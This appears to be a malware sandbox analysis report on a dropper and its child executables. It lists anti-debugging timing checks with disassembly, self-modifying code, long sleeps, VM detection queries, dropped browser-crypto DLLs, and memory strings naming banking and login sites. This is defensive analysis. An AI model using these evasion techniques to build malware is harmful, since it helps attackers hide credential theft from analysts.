Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B005DF second address: 4B0061A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 call 00007F6B2CB5B2CBh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ecx, 6FC36C9Bh 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6B2CB5B2D9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0061A second address: 4B00666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F6B2C748072h 0x00000011 mov dword ptr [esp], esi 0x00000014 jmp 00007F6B2C748070h 0x00000019 xchg eax, edi 0x0000001a pushad 0x0000001b jmp 00007F6B2C74806Eh 0x00000020 mov dx, si 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00666 second address: 4B0066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0066A second address: 4B00682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00682 second address: 4B006C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B2CB5B2CBh 0x00000013 and ecx, 4675DB7Eh 0x00000019 jmp 00007F6B2CB5B2D9h 0x0000001e popfd 0x0000001f mov esi, 2E6101C7h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B006C7 second address: 4B0070D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B2C74806Fh 0x00000009 or si, 4D8Eh 0x0000000e jmp 00007F6B2C748079h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [76FAB370h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov di, AAEEh 0x00000023 mov bx, 87FAh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0070D second address: 4B00732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B2CB5B2CAh 0x00000015 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1BEB87 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1BEC4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 357767 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1BC216 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 37E683 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 369967 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 3E4FE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: B7EB87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: B7EC4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: D17767 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: B7C216 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: D3E683 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: D29967 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: DA4FE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Special instruction interceptor: First address: 136FC95 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Special instruction interceptor: First address: 11CDC53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Special instruction interceptor: First address: 13F0F39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: A8EA34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: A8E97C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: C35F0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: C34DC8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: C5FE9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: A8E956 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Special instruction interceptor: First address: CC4CC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Special instruction interceptor: First address: D0E91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Special instruction interceptor: First address: 51E621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Special instruction interceptor: First address: EAB497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Special instruction interceptor: First address: EA9D25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 3CE91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 56B497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 569D25 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Memory allocated: A10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Memory allocated: 2510000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Memory allocated: 4510000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Memory allocated: 1BEF1A20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Memory allocated: 1BEF3460000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Memory allocated: 4A80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Memory allocated: 4CA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Memory allocated: 4AE0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04B50793 rdtsc 0_2_04B50793
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599762 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599260 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598687 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598577 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\build.exe Window / User API: threadDelayed 2043 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Window / User API: threadDelayed 1746 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\ProgramData\chrome.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe API coverage: 0.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6448 Thread sleep count: 49 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6448 Thread sleep time: -98049s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6444 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6444 Thread sleep time: -86043s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5812 Thread sleep count: 262 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5812 Thread sleep time: -7860000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5068 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4676 Thread sleep count: 41 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4676 Thread sleep time: -82041s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3920 Thread sleep time: -58029s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3652 Thread sleep count: 42 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3652 Thread sleep time: -84042s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3924 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3924 Thread sleep time: -74037s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5812 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe TID: 5572 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599762s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -599260s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -598938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -598797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -598687s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -598577s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe TID: 6844 Thread sleep time: -598469s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 2724 Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 940 Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 1532 Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 1276 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe TID: 5980 Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe TID: 5064 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 5304 Thread sleep count: 220 > 30
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 5304 Thread sleep time: -1320000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe TID: 516 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe TID: 8360 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 6548 Thread sleep count: 51 > 30
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe TID: 6548 Thread sleep time: -306000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe TID: 8920 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEDC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc, 19_2_6BEDC930
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599762 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 599260 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598687 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598577 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Thread delayed: delay time: 598469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: axplong.exe, axplong.exe, 00000006.00000002.3286822987.0000000000CFC000.00000040.00000001.01000000.00000007.sdmp, f99547c8e6.exe, f99547c8e6.exe, 00000013.00000002.3206498208.0000000001351000.00000040.00000001.01000000.0000000D.sdmp, 62dceeab4d.exe, 00000021.00000002.3284412201.0000000000C15000.00000040.00000001.01000000.0000000E.sdmp, VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000002.3267568481.000000000046E000.00000040.00000001.01000000.00000012.sdmp, f99547c8e6.exe, 00000029.00000002.3262388406.0000000001351000.00000040.00000001.01000000.0000000D.sdmp, V30AHCO282KY2KV83OC4RNYNX.exe, 0000002A.00000002.3180577809.0000000000E8E000.00000040.00000001.01000000.00000013.sdmp, skotes.exe, 0000002C.00000002.3211990551.000000000054E000.00000040.00000001.01000000.00000017.sdmp, skotes.exe, 0000002D.00000002.3220425653.000000000054E000.00000040.00000001.01000000.00000017.sdmp, 62dceeab4d.exe, 0000002E.00000002.3284406556.0000000000C15000.00000040.00000001.01000000.0000000E.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Final.exe, 00000007.00000002.2735755761.0000000003515000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000008.00000000.2734492954.000001BEF16B2000.00000002.00000001.01000000.0000000B.sdmp Binary or memory string: qemu'
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696428655f
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: axplong.exe, 00000006.00000002.3283746404.0000000000A09000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3199781657.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2959360186.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901988505.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2837620808.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2998683785.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: axplong.exe, 00000006.00000002.3283746404.00000000009DB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWh
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: build.exe, 00000008.00000002.2806962692.000001BEF3D85000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696428655s
